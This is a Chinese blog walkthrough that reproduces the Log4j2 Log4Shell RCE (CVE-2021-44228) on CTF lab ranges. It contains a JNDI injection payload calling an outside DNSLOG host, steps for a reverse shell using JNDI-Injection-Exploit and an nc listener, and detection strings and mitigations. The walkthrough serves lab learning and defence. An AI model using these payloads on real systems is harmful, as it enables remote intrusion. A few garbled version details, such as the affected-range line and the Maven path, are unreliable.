Apache log4j2-RCE 漏洞復現及修復建議(CVE-2021-44228)

Apache log4j2-RCE 漏洞復現

0x01 漏洞簡介

Apache Log4j2是一個基於Java的日志記錄工具。由於Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構造惡意請求,觸發遠程代碼執行漏洞。漏洞利用無需特殊配置,經阿裡雲安全團隊驗證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。

漏洞適用版本為2.0 <= Apache log4j2 <= 2.14.1,隻需檢測Java應用是否引入 log4j-api , log4j-core 兩個jar。若存在應用使用,極大可能會受到影響。

0x02 環境準備

驗證靶場:

1.CTFshow (https://ctf.show/challenges#Log4j復現-1730)

2.VULFOCUS(http://vulfocus.fofa.so/)

3.掌控安全封神臺(https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd)

0x03 漏洞驗證(DNSLOG篇)

我們通過JNDI註入請求DNSLOG的惡意語句,如果在DNSLOG端能查看到訪問記錄,則證明遠程代碼執行漏洞存在

我們CTFshow的靶場來做後續驗證

我們直接在登錄框輸入惡意代碼:

${jndi:ldap://hackerj.c57f9cb5.dns.1433.eu.org/exp}

然後我們成功在DNSLOG端查看到訪問記錄,證實這裡漏洞存在

0x04 漏洞驗證(遠程代碼執行彈計算器&記事本篇)

在這裡我們需要準備好一臺有公網IP的VPS,然後在服務器端一個惡意代碼類exploit.class(將惡意代碼類通過javac編譯得到)、一個LDAP服務器log4j.jar(為運行方便,將LADPRefServer.java打包成jar包上傳到服務器)
本地端需要準備好一個LDAP客戶端(含log4j2執行代碼)

首先我們在服務器端開啟LDAP服務端口監聽,我這裡設置的是7912端口

開啟LDAP服務

然後我們隻需要在本地運行LDAP客戶端(含log4j2錯誤調用的代碼)

由於我們在惡意代碼裡執行的測試命令是notepad和calc

不出意外的彈出瞭記事本和計算器

0x05 漏洞深度利用(反彈shell)

在這裡我們需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar來生成payload

工具地址:

https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

然後使用如下網址來加密反彈shell命令

加密網址:

https://www.jackson-t.ca/runtime-exec-payloads.html

反彈shell方法:

https://www.freebuf.com/articles/system/178150.html

我這裡綁定的是服務器的9999端口(別忘瞭在服務器安全配置和寶塔安全配置開啟端口)

然後我們就獲得瞭payload

之後我們在服務器開啟對於9999端口的監聽

nc -lvnp 9999

然後我們在靶場框輸入我們的惡意payload

點擊提交之後我們發現反彈shell成功

0x06 影響范圍及排查方法

影響范圍:

使用瞭log4j的組件並且版本在3.x <= 2.14.1

排查方法:

1.pom版本檢查

2.可以通過檢查日志中是否存在”jndi:ldap://”、”jndi:rmi”等字符來發現可能的攻擊行為

3.檢查日志中是否存在相關的堆棧報錯,堆棧裡是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等與jndi調用相關的堆棧信息

4.各種安全產品

自查工具:

https://sca.seczone.cn/allScanner.zip

https://static.threatbook.cn/tools/log4j-local-check.sh

需要註意的是並不是所有的使用瞭log4j2的項目|客戶端都會受到影響:

0x07 修復建議

官方方案:
1、將Log4j框架升級到2.15.0版本:
org/apache/loging/logj/logj-core/5.0
不要用2.15.0-rc1和2.15.0-rc2

2、臨時方案
1、升級JDK
2、修改log4j配置
①設置參數:
log4j2.formatMsgNoLookups=True
②修改jvm參數:
-Dlog4j2.formatMsgNoLookups=true
③系統環境變量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS設置為true
④禁止log4j2所在的服務器外連
3、使用安全產品防護:WAF、RASP

0x08 涉及資源

https://www.icode9.com/content-4-1255614.html

https://github.com/welk1n/JNDI-Injection-Exploit

Apache log4j2 rce复现

https://www.jackson-t.ca/runtime-exec-payloads.html

https://chowdera.com/2021/12/202112102325553772.html

https://github.com/bkfish/Apache-Log4j-Learning

https://www.freebuf.com/articles/system/178150.html

https://github.com/fengxuangit/log4j_vuln

http://vulfocus.fofa.so/#/dashboard

到此這篇關於Apache log4j2-RCE 漏洞復現(CVE-2021-44228)的文章就介紹到這瞭,更多相關Apache log4j2-RCE 漏洞內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!

推薦閱讀: